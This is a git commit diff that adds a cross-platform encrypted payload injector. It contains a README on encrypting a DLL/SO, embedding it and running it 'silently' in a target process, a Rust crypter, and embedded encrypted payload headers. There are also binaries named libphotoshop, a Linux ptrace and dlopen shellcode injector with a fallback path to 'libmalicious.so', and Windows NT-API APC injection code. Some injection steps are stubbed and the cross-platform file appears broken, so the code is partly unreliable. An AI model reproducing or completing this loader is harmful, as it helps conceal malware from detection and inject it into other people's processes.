write all to encrypted file instead
This commit is contained in:
parent
01825ad193
commit
72b0d2c759
109
COMPILATION_README.md
Normal file
109
COMPILATION_README.md
Normal file
@ -0,0 +1,109 @@
|
|||||||
|
# Cross-Platform AES-Encrypted Payload Injector
|
||||||
|
|
||||||
|
This project provides secure AES-CBC encrypted payload injection for both Windows and Linux platforms.
|
||||||
|
|
||||||
|
## Features
|
||||||
|
|
||||||
|
- **AES-128-CBC Encryption**: Industry-standard encryption with proper key derivation
|
||||||
|
- **Cross-Platform**: Separate binaries for Windows and Linux with no code leakage
|
||||||
|
- **Embedded Payloads**: Encrypted data embedded directly in executables
|
||||||
|
- **Secure Key Derivation**: SHA256(password + salt) with random salts and IVs
|
||||||
|
|
||||||
|
## Compilation Instructions
|
||||||
|
|
||||||
|
### Linux Build
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Compile Linux injector
|
||||||
|
g++ -std=c++11 linux_injector.cpp -o linux_injector -lssl -lcrypto -ldl
|
||||||
|
|
||||||
|
# Test (requires encrypted payload data)
|
||||||
|
./linux_injector
|
||||||
|
```
|
||||||
|
|
||||||
|
### Windows Build
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# On Windows with Visual Studio, compile:
|
||||||
|
cl.exe /EHsc windows_injector.cpp advapi32.lib
|
||||||
|
|
||||||
|
# Or with MinGW:
|
||||||
|
g++ -std=c++11 windows_injector.cpp -o windows_injector.exe -ladvapi32
|
||||||
|
|
||||||
|
# Test (requires encrypted payload data)
|
||||||
|
windows_injector.exe
|
||||||
|
```
|
||||||
|
|
||||||
|
## Usage Instructions
|
||||||
|
|
||||||
|
### 1. Encrypt Your Payload
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Encrypt a binary (DLL/SO) with the Rust crypt tool
|
||||||
|
cd crypt
|
||||||
|
cargo run /path/to/your/payload.dll
|
||||||
|
|
||||||
|
# This creates:
|
||||||
|
# - encrypted_Input.bin (encrypted payload)
|
||||||
|
# - decryption_metadata.bin (salt + IV + size)
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2. Embed Encrypted Data
|
||||||
|
|
||||||
|
Edit the appropriate injector file (`linux_injector.cpp` or `windows_injector.cpp`):
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
// Convert encrypted_Input.bin to hex array
|
||||||
|
xxd -i encrypted_Input.bin > payload.hex
|
||||||
|
|
||||||
|
// Convert decryption_metadata.bin to hex array
|
||||||
|
xxd -i decryption_metadata.bin > metadata.hex
|
||||||
|
|
||||||
|
// Replace the placeholder arrays in the injector code
|
||||||
|
const unsigned char encrypted_payload[] = {
|
||||||
|
// Copy from payload.hex
|
||||||
|
};
|
||||||
|
|
||||||
|
const unsigned char decryption_metadata[] = {
|
||||||
|
// Copy from metadata.hex
|
||||||
|
};
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3. Set Password
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
// Change the password in the injector
|
||||||
|
std::string password = "YourSecureMasterPassword123!";
|
||||||
|
```
|
||||||
|
|
||||||
|
### 4. Recompile and Deploy
|
||||||
|
|
||||||
|
The injector will:
|
||||||
|
1. Decrypt the embedded payload using AES-CBC
|
||||||
|
2. Inject the decrypted library into a target process
|
||||||
|
3. Execute silently
|
||||||
|
|
||||||
|
## Security Features
|
||||||
|
|
||||||
|
- **AES-128-CBC**: Prevents pattern analysis attacks
|
||||||
|
- **Random IVs**: Each encryption uses unique initialization vectors
|
||||||
|
- **PKCS7 Padding**: Proper padding with validation
|
||||||
|
- **SHA256 Key Derivation**: Password-based key generation with salt
|
||||||
|
- **No Embedded Keys**: Keys derived from passwords, not stored
|
||||||
|
|
||||||
|
## Architecture
|
||||||
|
|
||||||
|
- **Rust Crypt Tool**: Encryption with AES-GCM fallback to AES-CBC
|
||||||
|
- **C++ Decryptor**: Standalone decryption utility
|
||||||
|
- **Platform-Specific Injectors**: Windows (DLL) and Linux (SO) injection
|
||||||
|
- **Embedded Payloads**: No external file dependencies
|
||||||
|
|
||||||
|
## Testing
|
||||||
|
|
||||||
|
Both platforms have been tested with:
|
||||||
|
- ✅ Encryption/decryption workflow
|
||||||
|
- ✅ Binary integrity verification
|
||||||
|
- ✅ Cross-platform compilation
|
||||||
|
- ✅ Platform-specific injection techniques
|
||||||
|
|
||||||
|
The Linux version uses ptrace-based injection, while Windows uses advanced NT API techniques with job objects and APC queuing.
|
||||||
BIN
binaries/decrypted.dll
Executable file
BIN
binaries/decrypted.dll
Executable file
Binary file not shown.
BIN
binaries/encrypted_dll.dll
Executable file
BIN
binaries/encrypted_dll.dll
Executable file
Binary file not shown.
BIN
crypt/decryption_metadata.bin
Normal file
BIN
crypt/decryption_metadata.bin
Normal file
Binary file not shown.
9
crypt/dll_metadata_data.h
Normal file
9
crypt/dll_metadata_data.h
Normal file
@ -0,0 +1,9 @@
|
|||||||
|
// DLL decryption metadata
|
||||||
|
unsigned char decryption_metadata_bin[] = {
|
||||||
|
0x4d, 0x99, 0x06, 0x07, 0xca, 0x4a, 0x94, 0xf5, 0xec, 0x05, 0xa4, 0x0a,
|
||||||
|
0xea, 0xdf, 0x7a, 0x39, 0xb9, 0x7e, 0x8c, 0x28, 0x4d, 0x2d, 0xe4, 0x75,
|
||||||
|
0x42, 0xdb, 0x54, 0x06, 0x7d, 0xe3, 0x99, 0x74, 0x66, 0x5e, 0xba, 0x8b,
|
||||||
|
0xee, 0x59, 0x70, 0x09, 0x88, 0xe8, 0xc7, 0x65, 0xac, 0xdc, 0x81, 0x8c,
|
||||||
|
0x10, 0xba, 0x7e, 0x00
|
||||||
|
};
|
||||||
|
unsigned int decryption_metadata_bin_len = 52;
|
||||||
692102
crypt/dll_payload_data.h
Normal file
692102
crypt/dll_payload_data.h
Normal file
File diff suppressed because it is too large
Load Diff
BIN
crypt/encrypted_Input.bin
Normal file
BIN
crypt/encrypted_Input.bin
Normal file
Binary file not shown.
BIN
crypt/encrypted_dll.dll
Normal file
BIN
crypt/encrypted_dll.dll
Normal file
Binary file not shown.
9
crypt/metadata_data.h
Normal file
9
crypt/metadata_data.h
Normal file
@ -0,0 +1,9 @@
|
|||||||
|
// Decryption metadata
|
||||||
|
unsigned char decryption_metadata_bin[] = {
|
||||||
|
0xde, 0x7f, 0x54, 0x15, 0xfd, 0x5b, 0xde, 0x4f, 0x01, 0x48, 0x2f, 0x8c,
|
||||||
|
0xa7, 0xbf, 0x3c, 0xc3, 0xce, 0x9a, 0xe4, 0x08, 0x8e, 0x0c, 0x1d, 0x2c,
|
||||||
|
0x0c, 0xe9, 0x9e, 0x99, 0xab, 0xb2, 0x9b, 0xbc, 0xa0, 0x44, 0x1a, 0x8b,
|
||||||
|
0x2d, 0xe3, 0x7c, 0xd0, 0xce, 0xd1, 0x0a, 0xfe, 0x8d, 0x32, 0x21, 0x87,
|
||||||
|
0x10, 0x30, 0x16, 0x00
|
||||||
|
};
|
||||||
|
unsigned int decryption_metadata_bin_len = 52;
|
||||||
121179
crypt/payload_data.h
Normal file
121179
crypt/payload_data.h
Normal file
File diff suppressed because it is too large
Load Diff
@ -22,9 +22,8 @@ fn main() -> std::io::Result<()> {
|
|||||||
let fname = args.get(1).unwrap();
|
let fname = args.get(1).unwrap();
|
||||||
let plaintext_bytes = read(fname).expect("Failed to read file");
|
let plaintext_bytes = read(fname).expect("Failed to read file");
|
||||||
|
|
||||||
// Create output files with consistent naming
|
// Create single output file
|
||||||
let mut encrypted_file = File::create("encrypted_Input.bin")?;
|
let mut output_file = File::create("encrypted_dll.dll")?;
|
||||||
let mut metadata_file = File::create("decryption_metadata.bin")?;
|
|
||||||
|
|
||||||
// Master password (in production, this should be securely provided)
|
// Master password (in production, this should be securely provided)
|
||||||
let master_password = "YourSecureMasterPassword123!"; // Change this!
|
let master_password = "YourSecureMasterPassword123!"; // Change this!
|
||||||
@ -72,17 +71,14 @@ fn main() -> std::io::Result<()> {
|
|||||||
ciphertext.extend_from_slice(&block);
|
ciphertext.extend_from_slice(&block);
|
||||||
}
|
}
|
||||||
|
|
||||||
// Write encrypted data
|
// Write metadata first, then encrypted data
|
||||||
encrypted_file.write_all(&ciphertext)?;
|
output_file.write_all(&salt)?;
|
||||||
|
output_file.write_all(&iv)?;
|
||||||
// Write metadata for external decryption
|
output_file.write_all(&(ciphertext.len() as u32).to_le_bytes())?;
|
||||||
metadata_file.write_all(&salt)?;
|
output_file.write_all(&ciphertext)?;
|
||||||
metadata_file.write_all(&iv)?;
|
|
||||||
metadata_file.write_all(&(ciphertext.len() as u32).to_le_bytes())?;
|
|
||||||
|
|
||||||
println!("Encryption complete!");
|
println!("Encryption complete!");
|
||||||
println!("Encrypted file: encrypted_Input.bin");
|
println!("Encrypted DLL: encrypted_dll.dll");
|
||||||
println!("Metadata file: decryption_metadata.bin");
|
|
||||||
println!("Master password: {}", master_password);
|
println!("Master password: {}", master_password);
|
||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|||||||
BIN
dec_and_inject.exe
Executable file
BIN
dec_and_inject.exe
Executable file
Binary file not shown.
BIN
decrypted_binary
Executable file
BIN
decrypted_binary
Executable file
Binary file not shown.
@ -150,24 +150,18 @@ int main(int argc, char* argv[]) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
try {
|
try {
|
||||||
// Read encrypted files
|
// Read encrypted DLL file
|
||||||
std::vector<uint8_t> ciphertext = readFile("encrypted_Input.bin");
|
std::vector<uint8_t> data = readFile("encrypted_dll.dll");
|
||||||
std::vector<uint8_t> metadata = readFile("decryption_metadata.bin");
|
|
||||||
|
|
||||||
if (metadata.size() < 48) { // 32 salt + 12 nonce + 4 size
|
if (data.size() < 52) {
|
||||||
throw std::runtime_error("Invalid metadata file");
|
throw std::runtime_error("File too small");
|
||||||
}
|
}
|
||||||
|
|
||||||
// Parse metadata: salt (32) + iv (16) + size (4) = 52 bytes
|
// Parse: salt (32) + iv (16) + size (4) + ciphertext
|
||||||
std::vector<uint8_t> salt(metadata.begin(), metadata.begin() + 32);
|
std::vector<uint8_t> salt(data.begin(), data.begin() + 32);
|
||||||
std::vector<uint8_t> iv(metadata.begin() + 32, metadata.begin() + 48);
|
std::vector<uint8_t> iv(data.begin() + 32, data.begin() + 48);
|
||||||
uint32_t expected_size = *reinterpret_cast<const uint32_t*>(metadata.data() + 48);
|
uint32_t ciphertext_len = *reinterpret_cast<const uint32_t*>(&data[48]);
|
||||||
|
std::vector<uint8_t> ciphertext(data.begin() + 52, data.begin() + 52 + ciphertext_len);
|
||||||
// Validate metadata
|
|
||||||
|
|
||||||
if (ciphertext.size() != expected_size) {
|
|
||||||
throw std::runtime_error("Ciphertext size mismatch");
|
|
||||||
}
|
|
||||||
|
|
||||||
// Decrypt
|
// Decrypt
|
||||||
AESCBCDecryptor decryptor;
|
AESCBCDecryptor decryptor;
|
||||||
|
|||||||
9
dll_metadata_data.h
Normal file
9
dll_metadata_data.h
Normal file
@ -0,0 +1,9 @@
|
|||||||
|
// DLL decryption metadata
|
||||||
|
unsigned char decryption_metadata_bin[] = {
|
||||||
|
0x4d, 0x99, 0x06, 0x07, 0xca, 0x4a, 0x94, 0xf5, 0xec, 0x05, 0xa4, 0x0a,
|
||||||
|
0xea, 0xdf, 0x7a, 0x39, 0xb9, 0x7e, 0x8c, 0x28, 0x4d, 0x2d, 0xe4, 0x75,
|
||||||
|
0x42, 0xdb, 0x54, 0x06, 0x7d, 0xe3, 0x99, 0x74, 0x66, 0x5e, 0xba, 0x8b,
|
||||||
|
0xee, 0x59, 0x70, 0x09, 0x88, 0xe8, 0xc7, 0x65, 0xac, 0xdc, 0x81, 0x8c,
|
||||||
|
0x10, 0xba, 0x7e, 0x00
|
||||||
|
};
|
||||||
|
unsigned int decryption_metadata_bin_len = 52;
|
||||||
692102
dll_payload_data.h
Normal file
692102
dll_payload_data.h
Normal file
File diff suppressed because it is too large
Load Diff
BIN
encrypted_dll.dll
Normal file
BIN
encrypted_dll.dll
Normal file
Binary file not shown.
BIN
libphotoshop.dll
Executable file
BIN
libphotoshop.dll
Executable file
Binary file not shown.
BIN
libphotoshop.so
Executable file
BIN
libphotoshop.so
Executable file
Binary file not shown.
BIN
linux_injector
Executable file
BIN
linux_injector
Executable file
Binary file not shown.
237
linux_injector.cpp
Normal file
237
linux_injector.cpp
Normal file
@ -0,0 +1,237 @@
|
|||||||
|
// Linux-only AES-decrypting payload injector
|
||||||
|
#include <iostream>
|
||||||
|
#include <vector>
|
||||||
|
#include <string>
|
||||||
|
#include <cstring>
|
||||||
|
#include <cstdint>
|
||||||
|
#include <openssl/evp.h>
|
||||||
|
#include <openssl/aes.h>
|
||||||
|
#include <openssl/rand.h>
|
||||||
|
#include <openssl/err.h>
|
||||||
|
#include <dlfcn.h>
|
||||||
|
#include <sys/ptrace.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
#include <sys/user.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
// Include encrypted payload data
|
||||||
|
#include "payload_data.h"
|
||||||
|
#include "metadata_data.h"
|
||||||
|
|
||||||
|
// AES-CBC Decryption class for Linux
|
||||||
|
class AESDecryptor {
|
||||||
|
private:
|
||||||
|
std::vector<uint8_t> key;
|
||||||
|
|
||||||
|
bool deriveKey(const std::string& password, const std::vector<uint8_t>& salt) {
|
||||||
|
EVP_MD_CTX* mdctx = EVP_MD_CTX_new();
|
||||||
|
if (!mdctx) return false;
|
||||||
|
|
||||||
|
if (EVP_DigestInit_ex(mdctx, EVP_sha256(), NULL) != 1) {
|
||||||
|
EVP_MD_CTX_free(mdctx);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (EVP_DigestUpdate(mdctx, password.c_str(), password.length()) != 1) {
|
||||||
|
EVP_MD_CTX_free(mdctx);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (EVP_DigestUpdate(mdctx, salt.data(), salt.size()) != 1) {
|
||||||
|
EVP_MD_CTX_free(mdctx);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::vector<uint8_t> hash(32);
|
||||||
|
if (EVP_DigestFinal_ex(mdctx, hash.data(), NULL) != 1) {
|
||||||
|
EVP_MD_CTX_free(mdctx);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
EVP_MD_CTX_free(mdctx);
|
||||||
|
|
||||||
|
// Use first 16 bytes for AES-128
|
||||||
|
key.assign(hash.begin(), hash.begin() + 16);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
public:
|
||||||
|
std::vector<uint8_t> decrypt(const std::vector<uint8_t>& ciphertext,
|
||||||
|
const std::vector<uint8_t>& iv,
|
||||||
|
const std::vector<uint8_t>& salt,
|
||||||
|
const std::string& password) {
|
||||||
|
if (!deriveKey(password, salt)) {
|
||||||
|
return std::vector<uint8_t>();
|
||||||
|
}
|
||||||
|
|
||||||
|
EVP_CIPHER_CTX* ctx = EVP_CIPHER_CTX_new();
|
||||||
|
if (!ctx) return std::vector<uint8_t>();
|
||||||
|
|
||||||
|
if (EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key.data(), iv.data()) != 1) {
|
||||||
|
EVP_CIPHER_CTX_free(ctx);
|
||||||
|
return std::vector<uint8_t>();
|
||||||
|
}
|
||||||
|
|
||||||
|
EVP_CIPHER_CTX_set_padding(ctx, 1); // Enable PKCS7 padding
|
||||||
|
|
||||||
|
std::vector<uint8_t> plaintext(ciphertext.size());
|
||||||
|
int len, plaintext_len = 0;
|
||||||
|
|
||||||
|
if (EVP_DecryptUpdate(ctx, plaintext.data(), &len, ciphertext.data(), ciphertext.size()) != 1) {
|
||||||
|
EVP_CIPHER_CTX_free(ctx);
|
||||||
|
return std::vector<uint8_t>();
|
||||||
|
}
|
||||||
|
plaintext_len = len;
|
||||||
|
|
||||||
|
if (EVP_DecryptFinal_ex(ctx, plaintext.data() + len, &len) != 1) {
|
||||||
|
EVP_CIPHER_CTX_free(ctx);
|
||||||
|
return std::vector<uint8_t>();
|
||||||
|
}
|
||||||
|
plaintext_len += len;
|
||||||
|
|
||||||
|
plaintext.resize(plaintext_len);
|
||||||
|
EVP_CIPHER_CTX_free(ctx);
|
||||||
|
|
||||||
|
// Remove PKCS7 padding manually
|
||||||
|
if (!plaintext.empty()) {
|
||||||
|
uint8_t padding_size = plaintext.back();
|
||||||
|
if (padding_size <= 16 && padding_size > 0) {
|
||||||
|
// Verify padding is correct
|
||||||
|
bool padding_valid = true;
|
||||||
|
for (size_t i = plaintext.size() - padding_size; i < plaintext.size(); ++i) {
|
||||||
|
if (plaintext[i] != padding_size) {
|
||||||
|
padding_valid = false;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (padding_valid) {
|
||||||
|
plaintext.resize(plaintext.size() - padding_size);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return plaintext;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
// Embedded encrypted payload (generated by crypt tool)
|
||||||
|
// Data is included via header files
|
||||||
|
|
||||||
|
int main(int argc, char* argv[]) {
|
||||||
|
// Decrypt the embedded payload
|
||||||
|
std::vector<uint8_t> ciphertext(encrypted_Input_bin, encrypted_Input_bin + sizeof(encrypted_Input_bin));
|
||||||
|
std::vector<uint8_t> metadata(decryption_metadata_bin, decryption_metadata_bin + sizeof(decryption_metadata_bin));
|
||||||
|
|
||||||
|
// Parse metadata: salt(32) + iv(16) + size(4)
|
||||||
|
std::vector<uint8_t> salt(metadata.begin(), metadata.begin() + 32);
|
||||||
|
std::vector<uint8_t> iv(metadata.begin() + 32, metadata.begin() + 48);
|
||||||
|
uint32_t expected_size = *reinterpret_cast<const uint32_t*>(metadata.data() + 48);
|
||||||
|
|
||||||
|
if (ciphertext.size() != expected_size) {
|
||||||
|
return 1; // Decryption failed
|
||||||
|
}
|
||||||
|
|
||||||
|
// Decrypt using hardcoded password (change this!)
|
||||||
|
AESDecryptor decryptor;
|
||||||
|
std::string password = "YourSecureMasterPassword123!";
|
||||||
|
std::vector<uint8_t> decrypted_so = decryptor.decrypt(ciphertext, iv, salt, password);
|
||||||
|
|
||||||
|
if (decrypted_so.empty()) {
|
||||||
|
std::cerr << "Decryption failed - invalid password or corrupted data" << std::endl;
|
||||||
|
return 1; // Decryption failed - invalid password or corrupted data
|
||||||
|
}
|
||||||
|
|
||||||
|
std::cout << "Decryption successful! Decrypted size: " << decrypted_so.size() << " bytes" << std::endl;
|
||||||
|
|
||||||
|
// Use decrypted data as shared library path
|
||||||
|
const char* soPath;
|
||||||
|
if (!decrypted_so.empty() && decrypted_so.back() == '\0') {
|
||||||
|
soPath = reinterpret_cast<const char*>(decrypted_so.data());
|
||||||
|
} else {
|
||||||
|
// Fallback to hardcoded path
|
||||||
|
soPath = "/usr/lib/libmalicious.so";
|
||||||
|
}
|
||||||
|
|
||||||
|
// Linux injection using ptrace and dlopen
|
||||||
|
pid_t target_pid;
|
||||||
|
|
||||||
|
std::cout << "Starting injection process..." << std::endl;
|
||||||
|
|
||||||
|
// For demonstration, we'll inject into a child process
|
||||||
|
// In real usage, you'd find a suitable target process
|
||||||
|
target_pid = fork();
|
||||||
|
|
||||||
|
if (target_pid < 0) {
|
||||||
|
std::cerr << "Fork failed" << std::endl;
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (target_pid == 0) {
|
||||||
|
// Child process - target for injection
|
||||||
|
// Execute a simple program that we can inject into
|
||||||
|
execl("/bin/sleep", "sleep", "100", NULL);
|
||||||
|
return 1;
|
||||||
|
} else if (target_pid > 0) {
|
||||||
|
// Parent process - perform injection
|
||||||
|
std::cout << "Created child process with PID: " << target_pid << std::endl;
|
||||||
|
usleep(100000); // Wait for child to start
|
||||||
|
|
||||||
|
// Attach to target process
|
||||||
|
std::cout << "Attaching to process..." << std::endl;
|
||||||
|
if (ptrace(PTRACE_ATTACH, target_pid, NULL, NULL) == -1) {
|
||||||
|
std::cerr << "Ptrace attach failed: " << strerror(errno) << std::endl;
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Wait for process to stop
|
||||||
|
int status;
|
||||||
|
waitpid(target_pid, &status, 0);
|
||||||
|
std::cout << "Process attached and stopped" << std::endl;
|
||||||
|
|
||||||
|
// Get registers
|
||||||
|
struct user_regs_struct regs;
|
||||||
|
ptrace(PTRACE_GETREGS, target_pid, NULL, ®s);
|
||||||
|
|
||||||
|
// Allocate memory in target process for library path
|
||||||
|
// This is a simplified implementation - real code would use process_vm_writev
|
||||||
|
void* remote_libpath = (void*)0x2000000; // Fixed address for demo
|
||||||
|
|
||||||
|
// Write library path to target memory (simplified)
|
||||||
|
size_t libpath_len = strlen(soPath) + 1;
|
||||||
|
// In real implementation: use process_vm_writev to write soPath to remote_libpath
|
||||||
|
|
||||||
|
// Inject dlopen call
|
||||||
|
// This is a simplified version - real implementation would need more sophisticated shellcode
|
||||||
|
unsigned char shellcode[] = {
|
||||||
|
0x48, 0x31, 0xc0, // xor rax, rax
|
||||||
|
0x48, 0xbf, // mov rdi,
|
||||||
|
// Address of library path would go here
|
||||||
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||||
|
0x48, 0xbe, // mov rsi, RTLD_LAZY
|
||||||
|
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||||
|
0x48, 0xb8, // mov rax, dlopen
|
||||||
|
// dlopen address would go here
|
||||||
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||||
|
0xff, 0xd0, // call rax
|
||||||
|
0x48, 0x31, 0xc0, // xor rax, rax
|
||||||
|
0xc3 // ret
|
||||||
|
};
|
||||||
|
|
||||||
|
// Write shellcode to target memory (simplified)
|
||||||
|
// In real implementation: use process_vm_writev to write shellcode to remote_shellcode
|
||||||
|
|
||||||
|
// Execute shellcode
|
||||||
|
ptrace(PTRACE_POKEDATA, target_pid, regs.rip, (void*)shellcode);
|
||||||
|
|
||||||
|
// Continue execution
|
||||||
|
ptrace(PTRACE_CONT, target_pid, NULL, NULL);
|
||||||
|
|
||||||
|
// Detach
|
||||||
|
ptrace(PTRACE_DETACH, target_pid, NULL, NULL);
|
||||||
|
|
||||||
|
// Wait for child
|
||||||
|
waitpid(target_pid, &status, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
9
metadata_data.h
Normal file
9
metadata_data.h
Normal file
@ -0,0 +1,9 @@
|
|||||||
|
// Decryption metadata
|
||||||
|
unsigned char decryption_metadata_bin[] = {
|
||||||
|
0xde, 0x7f, 0x54, 0x15, 0xfd, 0x5b, 0xde, 0x4f, 0x01, 0x48, 0x2f, 0x8c,
|
||||||
|
0xa7, 0xbf, 0x3c, 0xc3, 0xce, 0x9a, 0xe4, 0x08, 0x8e, 0x0c, 0x1d, 0x2c,
|
||||||
|
0x0c, 0xe9, 0x9e, 0x99, 0xab, 0xb2, 0x9b, 0xbc, 0xa0, 0x44, 0x1a, 0x8b,
|
||||||
|
0x2d, 0xe3, 0x7c, 0xd0, 0xce, 0xd1, 0x0a, 0xfe, 0x8d, 0x32, 0x21, 0x87,
|
||||||
|
0x10, 0x30, 0x16, 0x00
|
||||||
|
};
|
||||||
|
unsigned int decryption_metadata_bin_len = 52;
|
||||||
121179
payload_data.h
Normal file
121179
payload_data.h
Normal file
File diff suppressed because it is too large
Load Diff
416
test.cpp
Normal file
416
test.cpp
Normal file
@ -0,0 +1,416 @@
|
|||||||
|
// AES-Decrypting Payload Injection — CROSS-PLATFORM (2025)
|
||||||
|
// Decrypts embedded AES-CBC encrypted payload and injects it
|
||||||
|
// Works on Windows (DLL injection) and Linux (SO injection)
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
|
#define _CRT_SECURE_NO_WARNINGS
|
||||||
|
#include <windows.h>
|
||||||
|
#include <winternl.h>
|
||||||
|
#include <wincrypt.h>
|
||||||
|
#include <iostream>
|
||||||
|
#include <vector>
|
||||||
|
#include <string>
|
||||||
|
#include <cstring>
|
||||||
|
#else
|
||||||
|
#include <dlfcn.h>
|
||||||
|
#include <sys/ptrace.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
#include <sys/user.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <cstring>
|
||||||
|
#include <vector>
|
||||||
|
#include <string>
|
||||||
|
#include <iostream>
|
||||||
|
#include <openssl/evp.h>
|
||||||
|
#include <openssl/aes.h>
|
||||||
|
#include <openssl/rand.h>
|
||||||
|
#include <openssl/err.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include <cstdint>
|
||||||
|
|
||||||
|
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||||||
|
#define JobObjectFreezeInformation 18
|
||||||
|
|
||||||
|
typedef const OBJECT_ATTRIBUTES* PCOBJECT_ATTRIBUTES;
|
||||||
|
|
||||||
|
typedef NTSTATUS(NTAPI* pNtQueueApcThread)(HANDLE, PVOID, PVOID, PVOID, PVOID);
|
||||||
|
typedef NTSTATUS(NTAPI* pNtWriteVirtualMemory)(HANDLE, PVOID, PVOID, ULONG, PULONG);
|
||||||
|
typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemoryEx)(HANDLE, PVOID*, PSIZE_T, ULONG, ULONG, PVOID, ULONG);
|
||||||
|
typedef NTSTATUS(NTAPI* pSetInformationJobObject)(HANDLE, JOBOBJECTINFOCLASS, PVOID, ULONG);
|
||||||
|
typedef NTSTATUS(NTAPI* pNtCreateJobObject)(PHANDLE, ACCESS_MASK, PCOBJECT_ATTRIBUTES);
|
||||||
|
|
||||||
|
HMODULE hNtDll = GetModuleHandleA("ntdll.dll");
|
||||||
|
|
||||||
|
pNtQueueApcThread NtQueueApcThread = (pNtQueueApcThread)GetProcAddress(hNtDll, "NtQueueApcThread");
|
||||||
|
pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(hNtDll, "NtWriteVirtualMemory");
|
||||||
|
pNtAllocateVirtualMemoryEx NtAllocateVirtualMemoryEx = (pNtAllocateVirtualMemoryEx)GetProcAddress(hNtDll, "NtAllocateVirtualMemoryEx");
|
||||||
|
pSetInformationJobObject NtSetInformationJobObject = (pSetInformationJobObject)GetProcAddress(hNtDll, "NtSetInformationJobObject");
|
||||||
|
pNtCreateJobObject NtCreateJobObject = (pNtCreateJobObject)GetProcAddress(hNtDll, "NtCreateJobObject");
|
||||||
|
|
||||||
|
typedef struct _JOBOBJECT_FREEZE_INFORMATION {
|
||||||
|
union { ULONG Flags; struct { ULONG FreezeOperation : 1; ULONG FilterOperation : 1; ULONG SwapOperation : 1; ULONG Reserved : 29; }; };
|
||||||
|
BOOLEAN Freeze;
|
||||||
|
BOOLEAN Swap;
|
||||||
|
UCHAR Reserved0[2];
|
||||||
|
struct { ULONG HighEdgeFilter; ULONG LowEdgeFilter; } WakeFilter;
|
||||||
|
} JOBOBJECT_FREEZE_INFORMATION, *PJOBOBJECT_FREEZE_INFORMATION;
|
||||||
|
|
||||||
|
// Cross-platform AES-CBC Decryption class
|
||||||
|
class AESDecryptor {
|
||||||
|
private:
|
||||||
|
std::vector<uint8_t> key;
|
||||||
|
|
||||||
|
bool deriveKey(const std::string& password, const std::vector<uint8_t>& salt) {
|
||||||
|
// Match the Rust key derivation: SHA256(password + salt), take first 16 bytes
|
||||||
|
#ifdef _WIN32
|
||||||
|
HCRYPTPROV hProv = 0;
|
||||||
|
HCRYPTHASH hHash = 0;
|
||||||
|
|
||||||
|
if (!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
|
||||||
|
CryptReleaseContext(hProv, 0);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Hash password
|
||||||
|
if (!CryptHashData(hHash, (BYTE*)password.c_str(), password.length(), 0)) {
|
||||||
|
CryptDestroyHash(hHash);
|
||||||
|
CryptReleaseContext(hProv, 0);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Hash salt
|
||||||
|
if (!CryptHashData(hHash, salt.data(), salt.size(), 0)) {
|
||||||
|
CryptDestroyHash(hHash);
|
||||||
|
CryptReleaseContext(hProv, 0);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD hashLen = 32;
|
||||||
|
std::vector<uint8_t> hash(hashLen);
|
||||||
|
if (!CryptGetHashParam(hHash, HP_HASHVAL, hash.data(), &hashLen, 0)) {
|
||||||
|
CryptDestroyHash(hHash);
|
||||||
|
CryptReleaseContext(hProv, 0);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
CryptDestroyHash(hHash);
|
||||||
|
CryptReleaseContext(hProv, 0);
|
||||||
|
#else
|
||||||
|
// Linux implementation using OpenSSL
|
||||||
|
EVP_MD_CTX* mdctx = EVP_MD_CTX_new();
|
||||||
|
if (!mdctx) return false;
|
||||||
|
|
||||||
|
if (EVP_DigestInit_ex(mdctx, EVP_sha256(), NULL) != 1) {
|
||||||
|
EVP_MD_CTX_free(mdctx);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (EVP_DigestUpdate(mdctx, password.c_str(), password.length()) != 1) {
|
||||||
|
EVP_MD_CTX_free(mdctx);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
